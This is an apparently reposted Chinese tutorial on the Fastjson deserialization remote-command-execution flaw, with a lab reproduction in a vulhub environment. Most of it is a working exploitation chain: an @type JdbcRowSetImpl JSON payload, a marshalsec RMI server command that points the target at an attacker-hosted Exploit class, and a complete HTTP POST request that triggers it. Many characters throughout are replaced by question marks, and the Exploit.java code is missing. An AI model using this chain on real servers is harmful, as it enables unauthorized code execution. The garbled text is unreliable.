Fastjson 远程命令执⾏漏洞
什么是 Fastjson Fastjson
是阿?開發的?款專門?于Java開發的包,可以?便的實現 json 對象與 JavaBean 對象的轉換,JavaBean 對象與 json 字 符串的轉換, json 對象與 json 字符串的轉換。
API 使?
//序列化 String text = JSON.toJSONString(obj); //反序列化 VO vo = JSON.parse(); //解析為JSONObject類型或者JSONArray類型 VO vo = JSON.parseObject("{...}"); //JSON?本解析成JSONObject類型 VO vo = JSON.parseObject("{...}", VO.class); //JSON?本解析成VO.class類漏洞原理
使? Fastjson 的 API parseObject() 反序列化 json 字符串時,可以在字符串中加上 @type 屬性。
1. 該屬性會指定我們的 json 字符串將會反序列化到哪個類。
2. 服務端會解析這個類,提取出這個類中符合要求的setter?法與getter?法。
3. 如果傳?json字符串的鍵值中存在這個值(如xxx),就會去調?執?對應的setter、getter?法(即setxxx?法、getxxx?法)
在可以調?任意類的情況下,如果setter、getter?法中存在可以利?的情況,就會導致任意命令執?。
漏洞利?
JNDI 注?利?原理
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/POC", "autoCommit":true }原理是 com.sun.rowset.JdbcRowSetImpl 這個類在設置 autoCommit 的 setter 時會調? connect ?法去連接 dataSourceName 指定 的 jdbc 服務。
利?流程
1. ?客使?payload攻擊主機A(該payload需要指定rmi/ldap地址)。
2. 主機A引發反序列化漏洞,發送了進?rmi遠程發放調?,去連接主機C。
3. 主機C的rmi服務指定加載主機B的惡意java類,所以主機A通過主機C的rmi服務最終加載并執?主機B的惡意java類。
4. 主機A引發惡意系統命令執?。
復現流程
主機 A:1.1.1.1:8090
主機 B:1.1.1.1:80
主機 C:1.1.1.1:9999
主機 A、B、C 實際上是同?臺機器的不同端?。
主機 A,Fastjson 漏洞環境,這?使?的是 vulhub 環境。
主機 B,放置惡意 Java 類的服務器。
?先要編譯并上傳要執?的代碼,具體代碼如下,代碼?件名為 Exploit.java 。
?
在主機 B 中使? javac 命令編譯 Exploit.java ?件,?成?個 Exploit.class ?件。
javac Exploit.java
在主機 B 開啟?個 http 服務,需要能訪問到 Exploit.class ?件。我們使? python3 臨時啟動?個。
python -m http.server 80
?主機 C,開啟 RMI 服務。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:80/#Exploit" 9999
服務全部準備就緒,下?步要向主機 A 發送 payload 了。
POST / HTTP/1.1 Host:192.168.112.129:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 172 { "naraku":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.112.129:9999/Exploit", "autoCommit":true } }?主機 A 收到 payload 之后,觸發了反序列化漏洞,?先向 RMI 服務器發送請求。
然后 RMI ?去請求 Exploit.class ?件。
?
最終觸發漏洞,成功執?了惡意命令。?
?
?
?
總結
以上是生活随笔為你收集整理的Fastjson 远程命令执⾏漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: linux中nxup服务,CentOS
- 下一篇: Ae效果控件快速参考:3D 通道